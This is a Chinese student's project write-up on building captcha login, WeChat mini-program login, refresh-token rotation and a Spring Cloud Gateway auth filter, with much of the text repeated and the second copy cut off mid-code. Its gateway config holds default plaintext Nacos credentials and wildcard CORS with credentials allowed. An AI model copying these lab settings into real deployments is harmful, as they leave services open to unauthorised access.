首先前端先从WebManager 后端服务管理中获取验证码（并携带key）

后端服务管理生成验证码

讲验证码和key值传入Redis

Redis返回值

后端返回验证码图传给前端

前端输入账号密码验证码

后端从Redis中进行匹配验证码

Redis返回结果

后端进行校验

假如验证码匹配失败，就返回验证码错误

假如匹配成功，从Redis中删除验证码值，返回后端

进行用户名密码校验

错误：返回前端用户名或密码错误

成功：生成token，返回登录成功

验证码功能的实现

这个功能的实现文档中是基于算法做的验证码，我在实际的过程中使用的是4位随机数所做的验证码，其实也大差不差

后端实现过程

从git拉取代码 sl-express-ms-web-manager

在idea中进行基础jdk、Manven配置然后就可以开始实现了

hutool验证码文档说明

@Override
public void createCaptcha(String key, HttpServletResponse response) throws IOException {
        //1. 生成验证码，指定宽、高、字符个数、干扰线数
        LineCaptcha lineCaptcha = CaptchaUtil.createLineCaptcha(115, 38, 0, 10);
        //1.1 自己创建一个随机数范围，验证码为四位随机数
        String random = "123456789abcdefghijklmnopqrstuvwsyz";
        RandomGenerator randomGenerator = new RandomGenerator(random,4);
        lineCaptcha.setGenerator(randomGenerator);
        //1.2 获取生成的验证码值
        lineCaptcha.createCode();
        String Code = lineCaptcha.getCode();

        //2. 将验证码的值写入到redis，有效期为1分钟
        String redisKey = CAPTCHA_REDIS_KEY + key;
        this.stringRedisTemplate.opsForValue().set(redisKey, Code, Duration.ofMinutes(1));

        //输出到页面
        response.setHeader(HttpHeaders.PRAGMA, "No-cache");
        response.setHeader(HttpHeaders.CACHE_CONTROL, "No-cache");
        response.setDateHeader(HttpHeaders.EXPIRES, 0L);
        lineCaptcha.write(response.getOutputStream());
    }

在Controller中调用Service中的方法:

测试

可以看到验证码

这样这么一个接口就完成了

然后接下来我们还需要将前端接口进行连接

前端部署

同样的前端，我们先需要将代码拉取

拉取project-slwl-admin-vue代码

修改.env.production.stu文件，设置前后端交互接口改为本机地址和端口：

提交到git中，使用Jenkins部署

选择develop分支，开始构建

访问地址进行测试：http://admin.sl-express.com/

可以看到请求为200

登录功能实现

刚刚实现的是验证码功能，登录功能还没有实现，我们现在紧接着实现登录

在AuthServiceImpl中实现代码

在Controller中调用：

测试

可以看到测试有数据

权限管家

权限管家是一个通用的权限管理中台服务，在权限管家中可以管理用户，管理后台系统的菜单，以及角色的管理。

改造登录接口为权限管家的接口

测试

可以看到测试成功

到这里我们的登录接口也完成了

用户端登录和统一网关

问题

首先是最开始的微信小程序，

在登录接口和小程序登录代码实现完成后

小程序还是会出现400系列错误问题

然后就是token实现后不出token的问题

解决

对于登录后还是会出现400系错误的问题

这个是由于此项目是我们学校老师为我们配置后出现的小程序账号、密钥不同的原因，导致数据不能正常进行传递引发的客户端错误

通过项目测试打印出账号，进行更换实现成功配置

（这边报错的图忘记截出来了只有最后的实现了）

实现流程

接下来就该实现用户端的登录和网关配置

因为用户端是基于微信小程序开发的

微信小程序登录的流程：

点击按钮动态获取phoneCode

wx.login()获取登录code

request向后端发送code、phoneCode

后端接收并校验登录凭据appid+appsecret+code

微信接口进行处理

返回session_key+openid等

通过openid 向数据库进行用户查询

后端接收返回用户信息，如果是不存在说明新用户，返回null

后端向微信接口获取用户手机号接口

微信进行内部处理

返回手机号

后端新增用户或更新用户手机号

生成token

将token传入微信小程序

微信小程序wx.request()请求头携带token

后端校验token，获取到openid

后端进行处理

将响应数据返回微信小程序

登录实现

env.js中修改本地接口

可以看到本地请求为502

这是由于本地网关并没有配置导致的后面会进行配置

请求参数（2个参数，code：登录临时凭证，phoneCode：获取手机号的凭证）：

拉取后端代码 sl-express-ms-web-customer

登录接口

登录接口的实现是在com.sl.ms.web.customer.controller.UserController#login中

可以看到代码是由UserLoginVO响应数据对象和UserLoginRequestVO请求参数对象组成

我们现看看UserLoginVO响应数据对象

package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class UserLoginVO {

    @ApiModelProperty("微信唯一标识符")
    private String openid;
    @ApiModelProperty("短令牌，有效期较短")
    private String accessToken;
    @ApiModelProperty("长令牌，有效期较长")
    private String refreshToken;
    @ApiModelProperty("是否绑定手机号 0否 1是")
    private Integer binding;

}

UserLoginRequestVO请求参数对象组成

package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.Data;

/**
 * C端用户登录
 */
@Data
public class UserLoginRequestVO {

    @ApiModelProperty("登录临时凭证")
    private String code;

    @ApiModelProperty("手机号临时凭证")
    private String phoneCode;
}

用户微服务

用户端通过微信登陆流程图

在Jenkins部署sl-express-ms-user-service

数据库已在服务器部署

小程序登录

@Value("${sl.wechat.appid}")
private String appid;
@Value("${sl.wechat.secret}")
private String secret;

public static final String LOGIN_URL = "https://api.weixin.qq.com/sns/jscode2session";
private static final int TIMEOUT = 20000;

@Override
public JSONObject getOpenid(String code) throws IOException {
    //文档：https://developers.weixin.qq.com/miniprogram/dev/OpenApiDoc/user-login/code2Session.html
    //1. 封装参数
    Map<String, Object> requestParam = MapUtil.<String, Object>builder().put("appid", this.appid) //小程序 appId
            .put("secret", this.secret) //小程序 appSecret
            .put("js_code", code) //	登录时获取的 code，可通过wx.login获取
            .put("grant_type", "authorization_code") //授权类型
            .build();

    //2. 发送get请求
    HttpResponse response = HttpRequest.get(LOGIN_URL) //设置get请求url
            .form(requestParam) //设置表单参数
            .timeout(TIMEOUT) //设置超时时间，20s
            .execute();//执行请求
    if (response.isOk()) {
        // 3. 解析响应的结果，如果出现错误抛出异常
        JSONObject jsonObject = JSONUtil.parseObj(response.body());
        if (jsonObject.containsKey("errcode")) {
            throw new SLWebException(jsonObject.toString());
        }
        return jsonObject;
    }
    String errMsg = StrUtil.format("调用微信登录接口出错！ code = {}", code);
    throw new SLWebException(errMsg);
}

通过小程序登录测试

获取手机号

想要获取到手机号的要先获取到微信access_token，在获取到手机号，否则获取不到

com.sl.ms.web.customer.service.impl

    @Test
    void getPhone() throws IOException {
        //在测试用例中输入自己获取到的 phonecode
        String phone = wechatService.getPhone("1aaaaa1111");
        System.out.println(phone);
    }

实现登录

com.sl.ms.web.customer.service.impl.MemberServiceImpl#login

生成token实现，这里采用的是RSA加密方式（密钥信息在nacos中的sl-express-ms-web-customer.properties配置）

com.sl.ms.web.customer.service.impl.TokenServiceImp

启动服务，在小程序进行测试

可以看到登录成功

双token三验证

单token存在的问题

在日常使用中，我们会频繁的进行登录，而在登录的过程中，会先生成jwt的token，前端接收到token将其保存下来，在进行后端服务请求的时候，在请求中携带token，服务端对token进行校验和鉴权，这种模式叫做 单token模式

在单token模式中，会出现token有效时间的问题，有效时间太短容易过期，太长容易被攻击截取。

在另一方面，token是无状态的，就是说我们不能自如的控制token的状态，无法让他主动失效。

方案设计

解决问题

token有效期长不安全
- 登录成功后，生成2个token，分别是：access_token、refresh_token，前者有效期短（如：5分钟），后者的有效期长（如：24小时）
- 正常请求后端服务时，携带access_token，如果发现access_token失效，就通过refresh_token到后台服务中换取新的access_token和refresh_token，这个可以理解为token的续签
- 以此往复，直至refresh_token过期，需要用户重新登录
token的无状态性
- 为了使token有状态，也就是后端可以控制其提前失效，需要将refresh_token设计成只能使用一次
- 需要将refresh_token存储到redis中，并且要设置过期时间
- 这样的话，服务端如果检测到用户token有安全隐患（如：异地登录），只需要将refresh_token失效即可

代码实现

生成刷新token

生成刷新refresh_token的主要逻辑有两点：

生成jwt格式的token，有效期时间一般小时为单位
将token存入到redis，使token有状态，并且确保只能使用一次

com.sl.ms.web.customer.service.impl.TokenServiceImpl

public static final String REDIS_REFRESH_TOKEN_PREFIX = "SL_CUSTOMER_REFRESH_TOKEN_";

刷新token

刷新token的动作是在refresh_token过期之后进行的，主要实现关键点有：

校验refresh_token是否被伪造以及是否在有效期内
从redis中查询，是否不存在，如果不存在说明已经失效或已经使用过，如果存在，就需要将其删除
重新生成一对token，响应结果

com.sl.ms.web.customer.service.impl.TokenServiceImpl

在Controller中调用上述方法

com.sl.ms.web.customer.controller.UserController

Service中调用

com.sl.ms.web.customer.service.impl.MemberServiceImpl

完善用户端登录

用户端登录成功后，需要在补一个token，之前已经写过一个了

测试

网关

网关作用

网关能够更好的管理项目分配，每一个客户端都将通过网关传递到服务端

网关就是每个客户端的中间商，他还能对token、以及用户的权限进行有效的校验

比如说：司机不能登录到快递员端，快递员不能登录到司机端

拉取代码

从sl-express-gateway中拉取网关代码：

拉取代码后，创建develop分支进行开发

bootstrap-local.yml

server:
  port: 9527
  tomcat:
    uri-encoding: UTF-8
    threads:
      max: 1000
      min-spare: 30
spring:
  cloud:
    nacos:
      username: nacos
      password: nacos
      server-addr: 192.168.150.101:8848
      discovery:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
        ip: 192.168.150.1
      config:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
    gateway:
      routes:
        - id: sl-express-ms-web-manager #路由标识，需要唯一
          uri: lb://sl-express-ms-web-manager #最终请求转发的微服务，指定的是微服务名，并开启负载均衡
          predicates: #断言
            - Path=/manager/**
          filters: #配置过滤器
            - ManagerToken #自定义局部过滤器
            - StripPrefix=1 #去掉第一个路径，例如：/manager/user/login -转发到下游微服务-> /user/login
            - AddRequestHeader=X-Request-From, sl-express-gateway #转发到下游微服务携带的请求头，增强安全性
      globalcors:
        cors-configurations:
          '[/**]':
            allowed-origin-patterns: '*'
            allowed-headers: '*'
            allow-credentials: true
            allowed-methods:
              - GET
              - POST
              - DELETE
              - PUT
              - OPTION
      discovery:
        locator:
          enabled: true #表明gateway开启服务注册和发现的功能，并且spring cloud gateway自动根据服务发现为每一个服务创建了一个router，这个router将以服务名开头的请求路径转发到对应的服务
itcast:
  authority:
    host: ${authority.host} #authority服务地址,根据实际情况更改
    port: ${authority.port} #authority服务端口
    timeout: ${authority.timeout} #http请求的超时时间
    public-key-file: auth/pub.key
    applicationId: ${authority.applicationId}

#角色id
role:
  manager: ${role.manager}
  courier: ${role.courier}
  driver: ${role.driver}

sl:
  noAuthPaths:
    - /courier/login/account
    - /courier/swagger-ui.html
    - /courier/webjars/
    - /courier/swagger-resources
    - /courier/v2/api-docs
    - /courier/doc.html
    - /customer/user/login
    - /customer/user/refresh
    - /customer/swagger-ui.html
    - /customer/webjars/
    - /customer/swagger-resources
    - /customer/v2/api-docs
    - /customer/doc.html
    - /driver/login/account
    - /driver/swagger-ui.html
    - /driver/webjars/
    - /driver/swagger-resources
    - /driver/v2/api-docs
    - /driver/doc.html
    - /manager/login
    - /manager/webjars/
    - /manager/swagger-resources
    - /manager/v2/api-docs
    - /manager/doc.html
    - /manager/captcha
  jwt:
    public-key: ${sl.jwt.user-secret-key}

自定义过滤器配置

过滤器实现

在过滤器中主要实现以下几个功能：

白名单放行
请求头中的token是否有效
权限是否匹配（校验角色）
向下游微服务传递解析token的数据以及token值

代码实现：

/**
 * 管理端token校验的过滤器
 */
@Component
public class ManagerTokenGatewayFilterFactory extends AbstractGatewayFilterFactory<Object> {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value("${role.manager}")
    private List<Long> managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public GatewayFilter apply(Object config) {
        return (exchange, chain) -> {
            //1. 校验请求路径，如果是白名单，直接放行
            String path = exchange.getRequest().getPath().toString();
            if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
                //直接放行
                return chain.filter(exchange);
            }

            //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
            String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
            if (StrUtil.isEmpty(token)) {
                //设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }
            //校验token
            AuthUserInfoDTO authUserInfoDTO = null;
            try {
                authUserInfoDTO = this.tokenCheckService.parserToken(token);
            } catch (Exception e) {
                //token不可用，不做处理
            }

            if (ObjectUtil.isEmpty(authUserInfoDTO)) {
                //token不可用，设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }

            //3. 校验权限，如果是非管理员不能登录
            AuthTemplate authTemplate = AuthTemplateFactory.get(token);
            //3.1 获取用户拥有的角色id列表
            List<Long> roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
            //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
            Collection<Long> intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
            if (CollUtil.isEmpty(intersection)) {
                //无交集，说明没有权限，设置响应状态码为400
                exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
                return exchange.getResponse().setComplete();
            }

            //4. 校验通过，向下游传递用户信息和token
            exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
            exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
            //4.1 校验通过放行
            return chain.filter(exchange);
        };
    }

}

测试

将网关启动，测试http://127.0.0.1:9527/manager/doc.html#/home看能不能正常看到页面

配置前端

将测试URL改为VUE_APP_BASE_URL = 'http://192.168.150.1:9527/manager'

将代码上传git

在Jenkins构造项目

访问http://admin.sl-express.com/

验证码端口可以看到是9527，部署成功

代码优化

优化一

将校验逻辑抽取到独立的类中，这样在每个端的GatewayFilterFactory中就可以共用了。

com.sl.gateway.filter.TokenGatewayFilter

package com.sl.gateway.filter;

import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import cn.hutool.json.JSONUtil;
import com.itheima.auth.factory.AuthTemplateFactory;
import com.itheima.auth.sdk.AuthTemplate;
import com.itheima.auth.sdk.dto.AuthUserInfoDTO;
import com.itheima.auth.sdk.service.TokenCheckService;
import com.sl.gateway.config.MyConfig;
import com.sl.transport.common.constant.Constants;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.GatewayFilterChain;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;

import javax.annotation.Resource;
import java.util.Collection;
import java.util.List;

@Component
public class TokenGatewayFilter implements GatewayFilter {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value("${role.manager}")
    private List<Long> managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        //1. 校验请求路径，如果是白名单，直接放行
        String path = exchange.getRequest().getPath().toString();
        if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
            //直接放行
            return chain.filter(exchange);
        }

        //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
        String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
        if (StrUtil.isEmpty(token)) {
            //设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }
        //校验token
        AuthUserInfoDTO authUserInfoDTO = null;
        try {
            authUserInfoDTO = this.tokenCheckService.parserToken(token);
        } catch (Exception e) {
            //token不可用，不做处理
        }

        if (ObjectUtil.isEmpty(authUserInfoDTO)) {
            //token不可用，设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }

        //3. 校验权限，如果是非管理员不能登录
        AuthTemplate authTemplate = AuthTemplateFactory.get(token);
        //3.1 获取用户拥有的角色id列表
        List<Long> roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
        //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
        Collection<Long> intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
        if (CollUtil.isEmpty(intersection)) {
            //无交集，说明没有权限，设置响应状态码为400
            exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
            return exchange.getResponse().setComplete();
        }

        //4. 校验通过，向下游传递用户信息和token
        exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
        exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
        //4.1 校验通过放行
        return chain.filter(exchange);
    }
}

com.sl.gateway.filter.ManagerTokenGatewayFilterFactory

优化二

通过前面的优化一已经将过滤器抽取到一个独立的类中，这样就可以在多个过滤器工厂中通用了，但也是存在一些问题的，例如：

不同的终端校验的角色id是不同的
用户端是不需要校验角色的
用户端校验token的逻辑与其他三端是不一样的
用户端请求头中的token参数名与其他三端也不一样

基于这些问题，就能够意识到，单纯的抽取代码是不够的，需要进一步的优化。想一想，该怎么优化呢？

优化的思路就是，在TokenGatewayFilter中保留四端通用的逻辑，不同的逻辑抽取到接口中，由四端具体的实现。

自定义AuthFilter接口：

com.sl.gateway.filter.AuthFilter

总结

在这次实训中，后面其实还有挺多章节的内容，我没有完成，我只是将其完整的看了一遍

虽然没有完成整个实训，但我已经粗略的领略到了项目开发流程，从开始的环境搭建到后面微服务的实现，我学习到了中间件的使用，容器的配置，git的管理等等，这些都是在平常学习中不会遇到的问题，所以这次实训也是为我带来了一些别样的收获

登录与网关配置

Wed, 10 Jul 2024 02:26:34 GMT

用户端登录

用户端的登录是基于微信小程序登录

wx小程序搭建：前端部署文档

env.js中修改本地接口

可以看到本地请求为502

这是由于本地网关并没有配置导致的后面会进行配置

请求参数（2个参数，code：登录临时凭证，phoneCode：获取手机号的凭证）：

拉取后端代码 sl-express-ms-web-customer

登录接口

登录接口的实现是在com.sl.ms.web.customer.controller.UserController#login中

可以看到代码是由UserLoginVO响应数据对象和UserLoginRequestVO请求参数对象组成

我们现看看UserLoginVO响应数据对象

package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class UserLoginVO {

    @ApiModelProperty("微信唯一标识符")
    private String openid;
    @ApiModelProperty("短令牌，有效期较短")
    private String accessToken;
    @ApiModelProperty("长令牌，有效期较长")
    private String refreshToken;
    @ApiModelProperty("是否绑定手机号 0否 1是")
    private Integer binding;

}

UserLoginRequestVO请求参数对象组成

package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.Data;

/**
 * C端用户登录
 */
@Data
public class UserLoginRequestVO {

    @ApiModelProperty("登录临时凭证")
    private String code;

    @ApiModelProperty("手机号临时凭证")
    private String phoneCode;
}

用户微服务

用户端通过微信登陆流程图

在Jenkins部署sl-express-ms-user-service

数据库已在服务器部署

小程序登录

@Value("${sl.wechat.appid}")
private String appid;
@Value("${sl.wechat.secret}")
private String secret;

public static final String LOGIN_URL = "https://api.weixin.qq.com/sns/jscode2session";
private static final int TIMEOUT = 20000;

@Override
public JSONObject getOpenid(String code) throws IOException {
    //文档：https://developers.weixin.qq.com/miniprogram/dev/OpenApiDoc/user-login/code2Session.html
    //1. 封装参数
    Map<String, Object> requestParam = MapUtil.<String, Object>builder().put("appid", this.appid) //小程序 appId
            .put("secret", this.secret) //小程序 appSecret
            .put("js_code", code) //	登录时获取的 code，可通过wx.login获取
            .put("grant_type", "authorization_code") //授权类型
            .build();

    //2. 发送get请求
    HttpResponse response = HttpRequest.get(LOGIN_URL) //设置get请求url
            .form(requestParam) //设置表单参数
            .timeout(TIMEOUT) //设置超时时间，20s
            .execute();//执行请求
    if (response.isOk()) {
        // 3. 解析响应的结果，如果出现错误抛出异常
        JSONObject jsonObject = JSONUtil.parseObj(response.body());
        if (jsonObject.containsKey("errcode")) {
            throw new SLWebException(jsonObject.toString());
        }
        return jsonObject;
    }
    String errMsg = StrUtil.format("调用微信登录接口出错！ code = {}", code);
    throw new SLWebException(errMsg);
}

通过小程序登录测试

获取手机号

想要获取到手机号的要先获取到微信access_token，在获取到手机号，否则获取不到

com.sl.ms.web.customer.service.impl

    @Test
    void getPhone() throws IOException {
        //在测试用例中输入自己获取到的 phonecode
        String phone = wechatService.getPhone("1aaaaa1111");
        System.out.println(phone);
    }

实现登录

com.sl.ms.web.customer.service.impl.MemberServiceImpl#login

生成token实现，这里采用的是RSA加密方式（密钥信息在nacos中的sl-express-ms-web-customer.properties配置）

com.sl.ms.web.customer.service.impl.TokenServiceImp

启动服务，在小程序进行测试

可以看到登录成功

双token三验证

单token存在的问题

在单token模式中，会出现token有效时间的问题，有效时间太短容易过期，太长容易被攻击截取。

在另一方面，token是无状态的，就是说我们不能自如的控制token的状态，无法让他主动失效。

方案设计

解决问题

token有效期长不安全
- 登录成功后，生成2个token，分别是：access_token、refresh_token，前者有效期短（如：5分钟），后者的有效期长（如：24小时）
- 正常请求后端服务时，携带access_token，如果发现access_token失效，就通过refresh_token到后台服务中换取新的access_token和refresh_token，这个可以理解为token的续签
- 以此往复，直至refresh_token过期，需要用户重新登录
token的无状态性
- 为了使token有状态，也就是后端可以控制其提前失效，需要将refresh_token设计成只能使用一次
- 需要将refresh_token存储到redis中，并且要设置过期时间
- 这样的话，服务端如果检测到用户token有安全隐患（如：异地登录），只需要将refresh_token失效即可

代码实现

生成刷新token

生成刷新refresh_token的主要逻辑有两点：

生成jwt格式的token，有效期时间一般小时为单位
将token存入到redis，使token有状态，并且确保只能使用一次

com.sl.ms.web.customer.service.impl.TokenServiceImpl

public static final String REDIS_REFRESH_TOKEN_PREFIX = "SL_CUSTOMER_REFRESH_TOKEN_";

刷新token

刷新token的动作是在refresh_token过期之后进行的，主要实现关键点有：

校验refresh_token是否被伪造以及是否在有效期内
从redis中查询，是否不存在，如果不存在说明已经失效或已经使用过，如果存在，就需要将其删除
重新生成一对token，响应结果

com.sl.ms.web.customer.service.impl.TokenServiceImpl

在Controller中调用上述方法

com.sl.ms.web.customer.controller.UserController

Service中调用

com.sl.ms.web.customer.service.impl.MemberServiceImpl

完善用户端登录

用户端登录成功后，需要在补一个token，之前已经写过一个了

测试

网关

网关作用

网关能够更好的管理项目分配，每一个客户端都将通过网关传递到服务端

网关就是每个客户端的中间商，他还能对token、以及用户的权限进行有效的校验

比如说：司机不能登录到快递员端，快递员不能登录到司机端

拉取代码

从sl-express-gateway中拉取网关代码：

拉取代码后，创建develop分支进行开发

bootstrap-local.yml

server:
  port: 9527
  tomcat:
    uri-encoding: UTF-8
    threads:
      max: 1000
      min-spare: 30
spring:
  cloud:
    nacos:
      username: nacos
      password: nacos
      server-addr: 192.168.150.101:8848
      discovery:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
        ip: 192.168.150.1
      config:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
    gateway:
      routes:
        - id: sl-express-ms-web-manager #路由标识，需要唯一
          uri: lb://sl-express-ms-web-manager #最终请求转发的微服务，指定的是微服务名，并开启负载均衡
          predicates: #断言
            - Path=/manager/**
          filters: #配置过滤器
            - ManagerToken #自定义局部过滤器
            - StripPrefix=1 #去掉第一个路径，例如：/manager/user/login -转发到下游微服务-> /user/login
            - AddRequestHeader=X-Request-From, sl-express-gateway #转发到下游微服务携带的请求头，增强安全性
      globalcors:
        cors-configurations:
          '[/**]':
            allowed-origin-patterns: '*'
            allowed-headers: '*'
            allow-credentials: true
            allowed-methods:
              - GET
              - POST
              - DELETE
              - PUT
              - OPTION
      discovery:
        locator:
          enabled: true #表明gateway开启服务注册和发现的功能，并且spring cloud gateway自动根据服务发现为每一个服务创建了一个router，这个router将以服务名开头的请求路径转发到对应的服务
itcast:
  authority:
    host: ${authority.host} #authority服务地址,根据实际情况更改
    port: ${authority.port} #authority服务端口
    timeout: ${authority.timeout} #http请求的超时时间
    public-key-file: auth/pub.key
    applicationId: ${authority.applicationId}

#角色id
role:
  manager: ${role.manager}
  courier: ${role.courier}
  driver: ${role.driver}

sl:
  noAuthPaths:
    - /courier/login/account
    - /courier/swagger-ui.html
    - /courier/webjars/
    - /courier/swagger-resources
    - /courier/v2/api-docs
    - /courier/doc.html
    - /customer/user/login
    - /customer/user/refresh
    - /customer/swagger-ui.html
    - /customer/webjars/
    - /customer/swagger-resources
    - /customer/v2/api-docs
    - /customer/doc.html
    - /driver/login/account
    - /driver/swagger-ui.html
    - /driver/webjars/
    - /driver/swagger-resources
    - /driver/v2/api-docs
    - /driver/doc.html
    - /manager/login
    - /manager/webjars/
    - /manager/swagger-resources
    - /manager/v2/api-docs
    - /manager/doc.html
    - /manager/captcha
  jwt:
    public-key: ${sl.jwt.user-secret-key}

自定义过滤器配置

过滤器实现

在过滤器中主要实现以下几个功能：

白名单放行
请求头中的token是否有效
权限是否匹配（校验角色）
向下游微服务传递解析token的数据以及token值

代码实现：

/**
 * 管理端token校验的过滤器
 */
@Component
public class ManagerTokenGatewayFilterFactory extends AbstractGatewayFilterFactory<Object> {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value("${role.manager}")
    private List<Long> managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public GatewayFilter apply(Object config) {
        return (exchange, chain) -> {
            //1. 校验请求路径，如果是白名单，直接放行
            String path = exchange.getRequest().getPath().toString();
            if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
                //直接放行
                return chain.filter(exchange);
            }

            //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
            String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
            if (StrUtil.isEmpty(token)) {
                //设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }
            //校验token
            AuthUserInfoDTO authUserInfoDTO = null;
            try {
                authUserInfoDTO = this.tokenCheckService.parserToken(token);
            } catch (Exception e) {
                //token不可用，不做处理
            }

            if (ObjectUtil.isEmpty(authUserInfoDTO)) {
                //token不可用，设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }

            //3. 校验权限，如果是非管理员不能登录
            AuthTemplate authTemplate = AuthTemplateFactory.get(token);
            //3.1 获取用户拥有的角色id列表
            List<Long> roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
            //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
            Collection<Long> intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
            if (CollUtil.isEmpty(intersection)) {
                //无交集，说明没有权限，设置响应状态码为400
                exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
                return exchange.getResponse().setComplete();
            }

            //4. 校验通过，向下游传递用户信息和token
            exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
            exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
            //4.1 校验通过放行
            return chain.filter(exchange);
        };
    }

}

测试

将网关启动，测试http://127.0.0.1:9527/manager/doc.html#/home看能不能正常看到页面

配置前端

将测试URL改为VUE_APP_BASE_URL = 'http://192.168.150.1:9527/manager'

将代码上传git

在Jenkins构造项目

访问http://admin.sl-express.com/

验证码端口可以看到是9527，部署成功

代码优化

优化一

将校验逻辑抽取到独立的类中，这样在每个端的GatewayFilterFactory中就可以共用了。

com.sl.gateway.filter.TokenGatewayFilter

package com.sl.gateway.filter;

import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import cn.hutool.json.JSONUtil;
import com.itheima.auth.factory.AuthTemplateFactory;
import com.itheima.auth.sdk.AuthTemplate;
import com.itheima.auth.sdk.dto.AuthUserInfoDTO;
import com.itheima.auth.sdk.service.TokenCheckService;
import com.sl.gateway.config.MyConfig;
import com.sl.transport.common.constant.Constants;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.GatewayFilterChain;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;

import javax.annotation.Resource;
import java.util.Collection;
import java.util.List;

@Component
public class TokenGatewayFilter implements GatewayFilter {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value("${role.manager}")
    private List<Long> managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        //1. 校验请求路径，如果是白名单，直接放行
        String path = exchange.getRequest().getPath().toString();
        if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
            //直接放行
            return chain.filter(exchange);
        }

        //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
        String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
        if (StrUtil.isEmpty(token)) {
            //设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }
        //校验token
        AuthUserInfoDTO authUserInfoDTO = null;
        try {
            authUserInfoDTO = this.tokenCheckService.parserToken(token);
        } catch (Exception e) {
            //token不可用，不做处理
        }

        if (ObjectUtil.isEmpty(authUserInfoDTO)) {
            //token不可用，设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }

        //3. 校验权限，如果是非管理员不能登录
